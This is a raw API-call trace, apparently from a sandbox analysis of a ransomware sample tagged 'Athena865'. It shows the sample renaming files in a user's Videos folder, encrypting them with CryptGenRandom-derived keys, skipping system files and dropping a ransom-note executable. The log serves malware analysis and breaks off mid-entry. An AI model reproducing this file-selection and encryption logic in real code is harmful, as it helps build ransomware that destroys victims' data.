[0053.319] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1 [0053.319] lstrlenW (lpString="^^^") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1 [0053.319] lstrlenW (lpString="abs") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1 [0053.319] lstrlenW (lpString="abx") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1 [0053.319] lstrlenW (lpString="accdb") returned 5 [0053.319] lstrcmpiW (lpString1="f.mp4", lpString2="accdb") returned 1 [0053.319] lstrlenW (lpString="accdc") returned 5 [0053.319] lstrcmpiW (lpString1="f.mp4", lpString2="accdc") returned 1 [0053.319] lstrlenW (lpString="accde") returned 5 [0053.319] lstrcmpiW (lpString1="f.mp4", lpString2="accde") returned 1 [0053.319] lstrlenW (lpString="accdr") returned 5 [0053.319] lstrcmpiW (lpString1="f.mp4", lpString2="accdr") returned 1 [0053.319] lstrlenW (lpString="accdt") returned 5 [0053.319] lstrcmpiW (lpString1="f.mp4", lpString2="accdt") returned 1 [0053.319] lstrlenW (lpString="accdw") returned 5 [0053.319] lstrcmpiW (lpString1="f.mp4", lpString2="accdw") returned 1 [0053.319] lstrlenW (lpString="accft") returned 5 [0053.319] lstrcmpiW (lpString1="f.mp4", lpString2="accft") returned 1 [0053.319] lstrlenW (lpString="adb") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0053.319] lstrlenW (lpString="adb") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0053.319] lstrlenW (lpString="ade") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1 [0053.319] lstrlenW (lpString="adf") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1 [0053.319] lstrlenW (lpString="adn") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1 [0053.319] lstrlenW (lpString="adp") returned 3 [0053.319] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1 [0053.319] lstrlenW (lpString="alf") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1 [0053.320] lstrlenW (lpString="ask") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1 [0053.320] lstrlenW (lpString="btr") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1 [0053.320] lstrlenW (lpString="cat") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1 [0053.320] lstrlenW (lpString="cdb") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1 [0053.320] lstrlenW (lpString="ckp") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1 [0053.320] lstrlenW (lpString="cma") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1 [0053.320] lstrlenW (lpString="cpd") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1 [0053.320] lstrlenW (lpString="dacpac") returned 6 [0053.320] lstrcmpiW (lpString1="Cf.mp4", lpString2="dacpac") returned -1 [0053.320] lstrlenW (lpString="dad") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1 [0053.320] lstrlenW (lpString="dadiagrams") returned 10 [0053.320] lstrcmpiW (lpString1="PUmuCf.mp4", lpString2="dadiagrams") returned 1 [0053.320] lstrlenW (lpString="daschema") returned 8 [0053.320] lstrcmpiW (lpString1="muCf.mp4", lpString2="daschema") returned 1 [0053.320] lstrlenW (lpString="db-journal") returned 10 [0053.320] lstrcmpiW (lpString1="PUmuCf.mp4", lpString2="db-journal") returned 1 [0053.320] lstrlenW (lpString="db-shm") returned 6 [0053.320] lstrcmpiW (lpString1="Cf.mp4", lpString2="db-shm") returned -1 [0053.320] lstrlenW (lpString="db-wal") returned 6 [0053.320] lstrcmpiW (lpString1="Cf.mp4", lpString2="db-wal") returned -1 [0053.320] lstrlenW (lpString="dbc") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1 [0053.320] lstrlenW (lpString="dbs") returned 3 [0053.320] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1 [0053.320] lstrlenW (lpString="dbt") returned 3 [0053.321] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1 [0053.321] lstrlenW (lpString="dbv") returned 3 [0053.321] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1 [0053.321] lstrlenW (lpString="dbx") returned 3 [0053.321] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1 [0053.321] lstrlenW (lpString="dcb") returned 3 [0053.321] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1 [0053.321] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1 [0053.321] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\6GN7BUw0CPUmuCf.mp4.Athena865") returned 83 [0053.321] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\6GN7BUw0CPUmuCf.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\6gn7buw0cpumucf.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\6GN7BUw0CPUmuCf.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\6gn7buw0cpumucf.mp4.athena865"), dwFlags=0x1) returned 1 [0053.322] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\6GN7BUw0CPUmuCf.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\6gn7buw0cpumucf.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.322] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=91570) returned 1 [0053.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.322] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.322] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.323] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.323] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.323] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x168c0, lpName=0x0) returned 0x17c [0053.323] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x168c0) returned 0x100000 [0053.326] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.327] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.327] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.327] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.327] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.328] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.328] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.329] CloseHandle (hObject=0x17c) returned 1 [0053.329] CloseHandle (hObject=0x154) returned 1 [0053.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.329] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.330] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0053.330] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0053.330] lstrlenW (lpString="desktop.ini") returned 11 [0053.330] lstrcpyW (in: lpString1=0x241e8b4, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0053.330] lstrlenW (lpString="desktop.ini") returned 11 [0053.330] lstrlenW (lpString="Athena865") returned 9 [0053.330] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0053.331] lstrlenW (lpString=".dll") returned 4 [0053.331] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0053.331] lstrlenW (lpString=".lnk") returned 4 [0053.331] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0053.331] lstrlenW (lpString=".ini") returned 4 [0053.331] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0053.331] lstrlenW (lpString=".sys") returned 4 [0053.331] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0053.331] lstrlenW (lpString="desktop.ini") returned 11 [0053.331] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.Athena865") returned 75 [0053.331] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0053.332] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.332] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=504) returned 1 [0053.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.332] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.332] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.333] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.333] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.333] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x500, lpName=0x0) returned 0x17c [0053.334] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x500) returned 0x100000 [0053.334] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.335] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.335] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.335] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.335] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.336] CloseHandle (hObject=0x17c) returned 1 [0053.336] CloseHandle (hObject=0x154) returned 1 [0053.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.337] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.337] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0c1cc70, ftCreationTime.dwHighDateTime=0x1d4c7f4, ftLastAccessTime.dwLowDateTime=0x8033d680, ftLastAccessTime.dwHighDateTime=0x1d4d229, ftLastWriteTime.dwLowDateTime=0x8033d680, ftLastWriteTime.dwHighDateTime=0x1d4d229, nFileSizeHigh=0x0, nFileSizeLow=0x1a0d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="f-3vjzYl3-wGj3OqsI.flv", cAlternateFileName="F-3VJZ~1.FLV")) returned 1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2=".") returned 1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="..") returned 1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="windows") returned -1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="bootmgr") returned 1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="temp") returned -1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="pagefile.sys") returned -1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="boot") returned 1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="ids.txt") returned -1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="ntuser.dat") returned -1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="perflogs") returned -1 [0053.337] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2="MSBuild") returned -1 [0053.337] lstrlenW (lpString="f-3vjzYl3-wGj3OqsI.flv") returned 22 [0053.337] lstrcpyW (in: lpString1=0x241e8b4, lpString2="f-3vjzYl3-wGj3OqsI.flv" | out: lpString1="f-3vjzYl3-wGj3OqsI.flv") returned="f-3vjzYl3-wGj3OqsI.flv" [0053.337] lstrlenW (lpString="f-3vjzYl3-wGj3OqsI.flv") returned 22 [0053.337] lstrlenW (lpString="Athena865") returned 9 [0053.337] lstrcmpiW (lpString1="3OqsI.flv", lpString2="Athena865") returned -1 [0053.337] lstrlenW (lpString=".dll") returned 4 [0053.338] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2=".dll") returned 1 [0053.338] lstrlenW (lpString=".lnk") returned 4 [0053.338] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2=".lnk") returned 1 [0053.338] lstrlenW (lpString=".ini") returned 4 [0053.338] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2=".ini") returned 1 [0053.338] lstrlenW (lpString=".sys") returned 4 [0053.338] lstrcmpiW (lpString1="f-3vjzYl3-wGj3OqsI.flv", lpString2=".sys") returned 1 [0053.338] lstrlenW (lpString="f-3vjzYl3-wGj3OqsI.flv") returned 22 [0053.338] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\f-3vjzYl3-wGj3OqsI.flv.Athena865") returned 86 [0053.338] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\f-3vjzYl3-wGj3OqsI.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\f-3vjzyl3-wgj3oqsi.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\f-3vjzYl3-wGj3OqsI.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\f-3vjzyl3-wgj3oqsi.flv.athena865"), dwFlags=0x1) returned 1 [0053.338] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\f-3vjzYl3-wGj3OqsI.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\f-3vjzyl3-wgj3oqsi.flv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0053.339] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6669) returned 1 [0053.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0053.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0053.339] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0053.339] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0053.340] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0053.340] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.340] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1d10, lpName=0x0) returned 0x17c [0053.340] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1d10) returned 0x100000 [0053.340] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0053.341] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0053.341] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0053.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0053.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0053.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52c810 [0053.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0053.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52c810 | out: hHeap=0x4f0000) returned 1 [0053.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0053.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0053.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0053.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0053.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0053.342] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0053.342] CloseHandle (hObject=0x17c) returned 1 [0053.342] CloseHandle (hObject=0x154) returned 1 [0053.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0053.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0053.343] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0053.343] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcf1c2e0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbcf1c2e0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0053.343] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0053.343] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949798e0, ftCreationTime.dwHighDateTime=0x1d4c5e6, ftLastAccessTime.dwLowDateTime=0x86297fc0, ftLastAccessTime.dwHighDateTime=0x1d4cc9f, ftLastWriteTime.dwLowDateTime=0x86297fc0, ftLastWriteTime.dwHighDateTime=0x1d4cc9f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="u8GDhzgOr1", cAlternateFileName="U8GDHZ~1")) returned 1 [0053.343] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0053.343] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0053.343] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2=".") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="..") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="windows") returned -1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="bootmgr") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="temp") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="pagefile.sys") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="boot") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="ids.txt") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="ntuser.dat") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="perflogs") returned 1 [0053.344] lstrcmpiW (lpString1="u8GDhzgOr1", lpString2="MSBuild") returned 1 [0053.344] lstrlenW (lpString="u8GDhzgOr1") returned 10 [0053.344] lstrcpyW (in: lpString1=0x241e8b4, lpString2="u8GDhzgOr1" | out: lpString1="u8GDhzgOr1") returned="u8GDhzgOr1" [0053.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c5f0 [0053.344] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x82) returned 0x5146c8 [0053.344] lstrcatW (in: lpString1="u8GDhzgOr1", lpString2="\\" | out: lpString1="u8GDhzgOr1\\") returned="u8GDhzgOr1\\" [0053.344] lstrcatW (in: lpString1="u8GDhzgOr1\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe") returned="u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" [0053.344] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Videos\\u8GDhzgOr1\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\videos\\u8gdhzgor1\\how to back your files.exe"), bFailIfExists=1) returned 1 [0053.346] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64703670, ftCreationTime.dwHighDateTime=0x1d4d5a6, ftLastAccessTime.dwLowDateTime=0xb07c25c0, ftLastAccessTime.dwHighDateTime=0x1d4d4f1, ftLastWriteTime.dwLowDateTime=0xb07c25c0, ftLastWriteTime.dwHighDateTime=0x1d4d4f1, 